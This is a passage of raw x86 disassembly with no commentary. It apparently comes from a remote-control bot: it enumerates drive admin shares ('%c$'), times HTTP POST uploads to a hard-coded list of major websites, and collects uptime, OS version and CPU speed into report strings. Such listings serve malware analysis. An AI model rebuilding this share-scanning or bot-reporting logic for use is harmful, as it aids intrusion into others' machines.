		jmp	short loc_41A2D1
; ---------------------------------------------------------------------------


loc_41A2CC:				; CODE XREF: sub_41A19E+13j
		push	offset dword_43A1F8


loc_41A2D1:				; CODE XREF: sub_41A19E+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A2DF:				; CODE XREF: sub_41A19E+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A2FE
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A2FE:				; CODE XREF: sub_41A19E+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		cmp	dword_4CB74C, ebx
		pop	ecx
		jnz	loc_41A473
		push	edi
		mov	esi, offset off_43A0C0
		mov	edi, 200h


loc_41A322:				; CODE XREF: sub_41A19E+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_418BC0
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A33D
		push	offset dword_43A3C0
		jmp	short loc_41A342
; ---------------------------------------------------------------------------


loc_41A33D:				; CODE XREF: sub_41A19E+196j
		push	offset dword_43A398


loc_41A342:				; CODE XREF: sub_41A19E+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A371
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A371:				; CODE XREF: sub_41A19E+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A0D0
		jb	short loc_41A322
		call	near ptr 2830C18h
		nop
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A45B


loc_41A39C:				; CODE XREF: sub_41A19E+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A450
		cmp	bl, 41h
		jz	loc_41A450
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_0	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CB6B4
		cmp	eax, 3
		jnz	short loc_41A450
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_418BC0
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A40E
		push	offset dword_43A3C0
		jmp	short loc_41A413
; ---------------------------------------------------------------------------


loc_41A40E:				; CODE XREF: sub_41A19E+267j
		push	offset dword_43A398


loc_41A413:				; CODE XREF: sub_41A19E+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A443
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A443:				; CODE XREF: sub_41A19E+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_41A450:				; CODE XREF: sub_41A19E+206j
					; sub_41A19E+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A39C


loc_41A45B:				; CODE XREF: sub_41A19E+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_43A368
		push	eax
		call	sub_41B886
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A486
; ---------------------------------------------------------------------------


loc_41A473:				; CODE XREF: sub_41A19E+173j
		lea	eax, [ebp+var_220]
		push	offset dword_43A100
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A486:				; CODE XREF: sub_41A19E+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A4A4
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A4A4:				; CODE XREF: sub_41A19E+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A19E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4B8	proc near		; CODE XREF: sub_41A6AF+CBp
					; sub_41A6AF+DDp ...

arg_0		= dword	ptr  4

		call	near ptr 269095Dh
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A4B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4D2	proc near		; CODE XREF: sub_41A6AF+D4p
					; sub_41A6AF+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A6AB
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41B590
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AAFA
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A6AB
		push	50h
		call	dword_4CB654
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CB6D4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A6AB
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A6AB
		push	32003h
		call	sub_41CFC5
		mov	edi, dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41B8D8
		call	sub_41B8E2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41B590
		push	32000h
		push	esi
		push	ebx
		call	sub_41B590
		push	ebx
		call	sub_41AFE0
		push	323EAh
		mov	ebx, eax
		call	sub_41CFC5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41B886
		push	[ebp+var_8]
		push	esi
		call	sub_41BEC0
		push	offset asc_433F14 ; "\r\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_41AFE0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41A62B
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41A5FB
; ---------------------------------------------------------------------------


loc_41A5F8:				; CODE XREF: sub_41A4D2+157j
		mov	eax, [ebp+arg_0]


loc_41A5FB:				; CODE XREF: sub_41A4D2+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41A60B
		push	[ebp+var_C]
		jmp	short loc_41A60C
; ---------------------------------------------------------------------------


loc_41A60B:				; CODE XREF: sub_41A4D2+132j
		push	ebx


loc_41A60C:				; CODE XREF: sub_41A4D2+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A692
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41A5F8


loc_41A62B:				; CODE XREF: sub_41A4D2+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_42770C
		fst	[ebp+arg_0]
		fcomp	flt_427708
		fnstsw	ax
		sahf
		jnz	short loc_41A653
		fld1
		fstp	[ebp+arg_0]


loc_41A653:				; CODE XREF: sub_41A4D2+17Aj
		push	[ebp+var_4]
		call	dword_4CB6EC
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_427704
		fmul	flt_427700
		call	sub_41C798


loc_41A68D:				; CODE XREF: sub_41A4D2+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A692:				; CODE XREF: sub_41A4D2+149j
		push	[ebp+var_4]
		call	dword_4CB6EC
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx


loc_41A6AB:				; CODE XREF: sub_41A4D2+19j
					; sub_41A4D2+42j ...
		xor	eax, eax
		jmp	short loc_41A68D
sub_41A4D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6AF	proc near		; CODE XREF: sub_401ACD+2E62p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A4B8
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D2
		push	8
		mov	esi, eax
		call	sub_41A4B8
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D2
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A7B0
		test	eax, eax
		jz	short loc_41A7AC
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A7B2
; ---------------------------------------------------------------------------


loc_41A7AC:				; CODE XREF: sub_41A6AF+F4j
		mov	ebx, esi
		jmp	short loc_41A7B2
; ---------------------------------------------------------------------------


loc_41A7B0:				; CODE XREF: sub_41A6AF+F0j
		mov	ebx, eax


loc_41A7B2:				; CODE XREF: sub_41A6AF+FBj
					; sub_41A6AF+FFj
		push	0Ch
		call	sub_41A4B8
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D2
		push	0Ch
		mov	edi, eax
		call	sub_41A4B8
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D2
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A7EA
		test	eax, eax
		jz	short loc_41A7E6
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A7EC
; ---------------------------------------------------------------------------


loc_41A7E6:				; CODE XREF: sub_41A6AF+12Ej
		mov	esi, edi
		jmp	short loc_41A7EC
; ---------------------------------------------------------------------------


loc_41A7EA:				; CODE XREF: sub_41A6AF+12Aj
		mov	esi, eax


loc_41A7EC:				; CODE XREF: sub_41A6AF+135j
					; sub_41A6AF+139j
		push	6
		call	sub_41A4B8
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D2
		push	6
		mov	edi, eax
		call	sub_41A4B8
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D2
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A824
		test	eax, eax
		jz	short loc_41A820
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41A826
; ---------------------------------------------------------------------------


loc_41A820:				; CODE XREF: sub_41A6AF+168j
		mov	ecx, edi
		jmp	short loc_41A826
; ---------------------------------------------------------------------------


loc_41A824:				; CODE XREF: sub_41A6AF+164j
		mov	ecx, eax


loc_41A826:				; CODE XREF: sub_41A6AF+16Fj
					; sub_41A6AF+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41A833
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41A836
; ---------------------------------------------------------------------------


loc_41A833:				; CODE XREF: sub_41A6AF+17Bj
		push	2
		pop	edi


loc_41A836:				; CODE XREF: sub_41A6AF+182j
		test	esi, esi
		jz	short loc_41A83E
		add	eax, esi
		jmp	short loc_41A83F
; ---------------------------------------------------------------------------


loc_41A83E:				; CODE XREF: sub_41A6AF+189j
		dec	edi


loc_41A83F:				; CODE XREF: sub_41A6AF+18Dj
		test	ecx, ecx
		jz	short loc_41A847
		add	eax, ecx
		jmp	short loc_41A848
; ---------------------------------------------------------------------------


loc_41A847:				; CODE XREF: sub_41A6AF+192j
		dec	edi


loc_41A848:				; CODE XREF: sub_41A6AF+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43A508
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4151AD
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A88C	proc near		; CODE XREF: sub_401ACD+25A1p
					; sub_401ACD+2A11p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 269095Dh
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DB920
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A88C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8F5	proc near		; CODE XREF: sub_416F1B+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 26D0468h
		test	eax, eax
		jz	short loc_41A988
		cmp	[ebp+var_90], 4
		jnz	short loc_41A95E
		cmp	[ebp+var_8C], esi
		jnz	short loc_41A946
		cmp	[ebp+var_84], 1
		jnz	short loc_41A939
		push	1
		pop	esi


loc_41A939:				; CODE XREF: sub_41A8F5+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41A988
		push	1
		jmp	short loc_41A987
; ---------------------------------------------------------------------------


loc_41A946:				; CODE XREF: sub_41A8F5+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41A953


loc_41A94F:				; CODE XREF: sub_41A8F5+78j
		push	2
		jmp	short loc_41A987
; ---------------------------------------------------------------------------


loc_41A953:				; CODE XREF: sub_41A8F5+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41A988
		jmp	short loc_41A978
; ---------------------------------------------------------------------------


loc_41A95E:				; CODE XREF: sub_41A8F5+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41A988
		cmp	[ebp+var_8C], esi
		jz	short loc_41A94F
		cmp	[ebp+var_8C], 1
		jnz	short loc_41A97C


loc_41A978:				; CODE XREF: sub_41A8F5+67j
		push	3
		jmp	short loc_41A987
; ---------------------------------------------------------------------------


loc_41A97C:				; CODE XREF: sub_41A8F5+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41A988
		push	7


loc_41A987:				; CODE XREF: sub_41A8F5+4Fj
					; sub_41A8F5+5Cj ...
		pop	esi


loc_41A988:				; CODE XREF: sub_41A8F5+25j
					; sub_41A8F5+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A8F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A98D	proc near		; CODE XREF: sub_41AA43+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41A995:				; CODE XREF: sub_41A98D+2Fj
					; sub_41A98D+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 2670EC7h
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41D410
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41A995
		jb	short loc_41A9C4
		cmp	ebx, esi
		ja	short loc_41A995


loc_41A9C4:				; CODE XREF: sub_41A98D+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41D480
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AA37
		jb	short loc_41A9E3
		cmp	esi, 50h
		jnb	short loc_41A9E8


loc_41A9E3:				; CODE XREF: sub_41A98D+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41A9E8:				; CODE XREF: sub_41A98D+54j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41A9F3
		cmp	esi, 47h
		jnb	short loc_41A9F8


loc_41A9F3:				; CODE XREF: sub_41A98D+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41A9F8:				; CODE XREF: sub_41A98D+64j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA03
		cmp	esi, 37h
		jnb	short loc_41AA08


loc_41AA03:				; CODE XREF: sub_41A98D+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AA08:				; CODE XREF: sub_41A98D+74j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA13
		cmp	esi, 26h
		jnb	short loc_41AA18


loc_41AA13:				; CODE XREF: sub_41A98D+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AA18:				; CODE XREF: sub_41A98D+84j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA23
		cmp	esi, 1Eh
		jnb	short loc_41AA28


loc_41AA23:				; CODE XREF: sub_41A98D+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AA28:				; CODE XREF: sub_41A98D+94j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA33
		cmp	esi, 0Ah
		jnb	short loc_41AA37


loc_41AA33:				; CODE XREF: sub_41A98D+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AA37:				; CODE XREF: sub_41A98D+4Dj
					; sub_41A98D+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A98D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA43	proc near		; CODE XREF: sub_401ACD+276Fp

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_43D808
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 26D0468h
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AACA
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAA6
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AA90
		mov	[ebp+var_4], offset dword_431974


loc_41AA90:				; CODE XREF: sub_41AA43+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41AB45
		mov	[ebp+var_4], offset dword_431970
		jmp	short loc_41AB16
; ---------------------------------------------------------------------------


loc_41AAA6:				; CODE XREF: sub_41AA43+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AAB8
		mov	[ebp+var_4], offset dword_43196C
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AAB8:				; CODE XREF: sub_41AA43+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AB06
		mov	[ebp+var_4], offset dword_431968
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AACA:				; CODE XREF: sub_41AA43+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AB06
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAE4
		mov	[ebp+var_4], offset dword_431964
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AAE4:				; CODE XREF: sub_41AA43+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AAF6
		mov	[ebp+var_4], offset dword_431960
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AAF6:				; CODE XREF: sub_41AA43+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AB0D


loc_41AB06:				; CODE XREF: sub_41AA43+7Cj
					; sub_41AA43+8Ej
		mov	[ebp+var_4], offset dword_431958


loc_41AB0D:				; CODE XREF: sub_41AA43+73j
					; sub_41AA43+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41AB45


loc_41AB16:				; CODE XREF: sub_41AA43+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41AB45
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_1	; "%s (%s)"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41AB45:				; CODE XREF: sub_41AA43+54j
					; sub_41AA43+D1j ...
		mov	ax, word_437F2C
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CB534
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41AB7E
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_41AB7E:				; CODE XREF: sub_41AA43+12Cj
		push	[ebp+arg_4]
		call	sub_40AC10
		pop	ecx
		push	eax
		call	dword_4CB694
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CB60C
		cmp	eax, ebx
		jz	short loc_41ABA7
		push	dword ptr [eax]
		jmp	short loc_41ABAC
; ---------------------------------------------------------------------------


loc_41ABA7:				; CODE XREF: sub_41AA43+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41ABAC:				; CODE XREF: sub_41AA43+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 26709BBh
		nop
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43A7FC
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 2730000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 2721649h
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2840000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41B9D1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416A33
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41A88C
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41A98D
		push	edx
		push	eax
		push	offset dword_43A720
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


